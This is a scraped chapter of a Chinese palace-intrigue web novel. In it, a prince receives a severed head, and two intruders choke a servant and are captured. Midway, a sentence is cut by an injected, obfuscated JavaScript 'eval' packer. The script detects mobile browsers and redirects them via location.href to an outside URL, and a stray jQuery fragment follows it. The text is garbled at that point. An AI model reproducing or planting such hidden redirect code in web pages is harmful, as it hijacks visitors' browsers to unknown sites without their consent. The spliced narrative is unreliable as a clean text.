27. 第 27 章
作品:《樂宫》 尸体是被人从墙头丢下来的,麻袋裹的严实,冷不丁地砸到了守在墙根下的家仆身上。这倒霉催的家仆也是,不消说先将东西拿给主人看,自己倒先打开,满足了把好奇心。
头颅的主人生前不知经历了什么,一双眼睁得如铜铃般大小,眼白上布满了红血丝,被这么盯着,那家仆悚然叫出声后,晕了过去。
头颅掉了出来,滚进了草丛中。
樊王身边的侍卫得了指示,大步跨过去,提着那头颅的头发,干净利落的装进原先的布袋中,身旁的人愣是没一个看见那头的主人是谁。
“王爷。”侍卫将布袋打开一点,托着里面的东西,好让顾樊看得清楚一些。
顾樊冷眼瞥了一眼,几秒后从嗓子眼里哼出一声森然的笑,他嘴唇紧抿,下颌鼓起,齿间响动的声音令人汗毛直立。
座下的宾客见他这般模样,全部立在原地,蔫了吧唧的发着抖,连大气也不敢出,活像拔了毛的病鸡。
歌舞早已停了,衣着单薄的舞姬跪在寒风中,瑟瑟发抖。
这时两名护卫从外面折回,早在尸体被抛下,他们便追了出去,却是一个人影也没瞧见。
顾樊使了个眼色,待人退下,目光扫向座下众人。这里面有些是过去就在他门下的,也有后来加入的,他们对他俯首称臣,视他为天命之人,只要他揭竿而起,皆马首是瞻。
想当日他入住东宫,门庭若市,现下却要屈居人下,得一个王爷的身份,凭什么?
他摸了摸自己的脸,增生的伤疤如一道分水岭,在平整的脸皮上,突兀地冒了出来。只因为一张脸,就说他玷污了皇家颜面,剥夺了他继承大统的资格,凭什么?
他恨,恨顾钊,恨所有嘲笑他,看不起他,视这道伤疤为他耻辱的人,包括他的父皇。
徐襄惨死的面孔尚在眼前,顾樊心里冷哼两声,“三哥啊三哥,这就这般迫不及待,要在我跟前耀武扬威吗?”
关于顾钊正在寻找马卜笙的消息,早在卫姝告知太后不久,当日便传到了他这里。
突然间,兵部侍郎庞奉孝的死状与徐襄的死状重合,一个念头浮现在了他的心头。人人都道是江湖上的绿林好汉在替天行道,可能够不知不觉,如此干净利落的处理掉一个正四品大员的人能有几人。
这一切,难道就不会是顾钊在自导自演?
这个假设开了头,顾樊越想越觉得可信度极高,他不信顾钊坐在那个位置,对自己没有半分除之而后快的想法。
而现在,他终于等不及了。
“哈哈......”他像是陷入癫狂中,大笑着举起酒盏,“什么不入流的手段,大家继续喝!你们跪着干什么,给本王继续跳起来!”
卫姝趴在门边小心观察着外面,本以为会有一场腥风血雨,心都提到了嗓子眼,却没想樊王此话一出,那股紧张的氛围顿时消散,整个王府又恢复成一派热闹喜庆的模样。
那名侍卫拎着布袋离开,卫姝看着他离开的方向,拉上殷祎,好奇地追了过去。
在□□偏僻的角落,有个被黑布罩住的矩状物,男人大摇大摆走过去,一把掀开布,露出下面的铁笼。
几声压抑的吠声从笼内传来,一条壮实的黑狗站着甩了甩身子,唾沫星子从嘴边溅出,它贪婪地看着男人手里的东西,擤了下鼻子。
男人解开笼子上的锁链,连布袋整个丢了下去,“吃吧。”
待男人走后,卫姝连忙跑到笼边,布袋早已被撕咬的不成样,那狗压在上面,两条前腿抱着那颗头,嘴里不住地发出啃骨头的声音。
“唔!”卫姝按着胸口,强压下心头的恶心感,半蹲身凑近,想看清狗爪下的人脸长什么样。
“是徐襄。”殷祎阴鸷的声音从上方传来。
卫姝没见过徐襄,突然听见他这么说,不敢置信地叫出声,“什么?!”
她这一声没控制住,啃骨头啃的正欢的黑狗不满地喷着气,凶狠地看向他们。殷祎察觉出不对,来不及解释,拉着卫姝急忙后撤,然而还是慢了一步。
狂吠声很快惊动了下人,两人狼狈的样子正好被逮了个正着。
“你们是做什么的?”来人穿着有别于一般的家仆,上唇两撇小胡子,活像个会跳舞的八。
卫姝心道不好,直觉这事轻易是糊弄不过去了。
果然,殷祎那套哄骗妙音娘子的说辞还未说完,便被打断了。
“我怎不知今日何大人家的乐师会来,你们究竟是谁,再不说实话,我就叫人了。”说罢朝外张望,抬手准备叫人。
卫姝急忙扯下他的手,双手合十,做出求饶的样子,然后在殷祎腰间摸了起来,粗着嗓子说:“拿来。”
殷祎抬手后退一步,“拿什么?”
卫姝对他挤了挤眼,搓动手指,言简意赅道:“银子啊,你身上不是带了金子吗?”
殷祎刚想反驳,那名家仆突然抢先惊喜道:“金子!”
卫姝熟络地将他拉到一边,边走边说,俨然一副不拘小节的豪迈样,“可不是?您不知道,他这人没安全的很,出门不多带点银子傍身,都不敢离家一里地。您说说,这人是不是怪得很?”
那人连连附和,止不住地扭头看向跟在后面的殷祎,嘴里不停地念叨着,“金子呢,拿出来我看看......”
到了没人注意的地方,卫姝轻轻松开他,不着痕迹地抽出别在身后的萧,背靠墙面,向着殷祎点了点头。
就在男人即将转回来时,卫姝眼疾手快,握住萧的两端,从后死死卡住了他的脖子!
男人挣扎着,却没办法出声,双手刚抬起,又被殷祎从正面钳住了。
这样僵持了一会,男人终于因为缺乏氧气,晕了过去。
卫姝垂下脱力的手,将胸口憋的气一股脑吐了出来,差点把自己也憋的背过气去。
看着倒在地上的人,卫姝问:“这下怎么办,还查吗?万一他醒了,就不好收拾了。”
殷祎不轻不重踢了他两下,蹲身,不知从哪摸出一把短刀,对准男人的胸口比划了一番,抬头看着卫姝,笑道:“干脆把他杀了,反正死人是不会说话的。”
他嘴角虽翘着,眼里却并无笑意,卫姝听他这么说,心头顿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17049706|192385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时一颤,“你认真的?”
闻言,殷祎敲了敲自己的手背,过了几秒,再看向卫姝,笑开了,“当然不是,怎么能随便杀人呢,是吧?”
两人也顾不上找个地先把人藏起来,此刻正门是出不去了,便想着翻墙出去,谁知刚把卫姝托上去,那晕过去的人竟已醒了,还带了几名护卫追了过来。
果然还是该杀了他。
殷祎深深地看了卫姝一眼,掌心用力,将她完全送到了墙头,“你先走,不用管我。”
卫姝回头,见那些护卫几乎已经到了墙下,还未来得及感性,理智已抢先占了先机,她对上殷祎的目光,几乎没有犹豫,“你等我,我一定会回来的。”说罢深吸一口气,跳了下去。
护卫追到了殷祎身前,铁桶似的将他围了起来,一个个手握佩刀,警惕地打量着,仿佛只要他敢轻举妄动一下,便立马给他砍成臊子。
望着空空如也的墙头,殷祎心里涌起一股奇异的感觉。他没想过卫姝竟这么决绝,一时间说不上是欣赏她的果敢多一点,还是怨怼她的狠心多一点。
然而却没有那么多时间给他细想,在众人的簇拥下,顾樊提刀赶来,径直指向他的面门。
今晚接二连三的岔子,几乎已经触及到他忍耐的极限了。
“王爷,这人有同伙。”那名晕倒的家仆被作弄了一番,恼羞成怒地架着殷祎的肩膀,摁着他下跪,“快说,和你一起的男人去哪了?”
他个子矮了一截,架着殷祎的时候不得不垫起一点脚尖,本以为被这么多人拿刀对着,殷祎该慌得乱了手脚,自己轻轻松松就能将其制服,谁料掌下之人却毫不畏惧,直面刀尖,依旧挺直背脊,连眼都没眨一下。
“见了王爷,还不跪下!”
殷祎轻蔑地看向自己肩上的手,吝啬的连个正眼也没分给他,“你算什么东西?”
“欸?”那家仆抬起手,掌风刮在殷祎耳畔,却没落下。殷祎的眼神狠戾又嫌恶,竟给他当场震慑住了。
看见手底的人如此不堪,顾樊不耐烦地使了个眼色,立马有人领会,将其拖走。
聒噪的源头没了,殷祎的耳边顿时安静了许多,他冷静地看着顾樊,双指夹着刀背别开,缓缓开口道:“王爷难道就不好奇,是谁派我来的?目的又是什么吗?”
“你想和我谈条件?”顾樊听出他的言外之意,当即冷笑道,“可惜本王最恨有人和我讨价还价,如果想留个全尸,劝你最好少耍滑头。”
“那没办法了,”殷祎无奈地耸耸肩,余光瞥向周围的几位大臣,“我以为诸位大人感兴趣呢。”
此言一出,原本抱着看戏态度的众人皆坐不住了,一个个面面相觑,仿佛从他的语气里,嗅到了与自己密切相关的惊天阴谋。
如此一来,顾樊一时间竟不好直接处置他了。这些朝臣既拥护他,他便少不得也要顾及他们。
“先将人押下去,等我回来再问。”顾樊厉声道。
见自己三言两语就控住了局面,殷祎得意地挑了挑眉,从顾樊身边经过时,散漫随性地吹了声口哨。
就这?

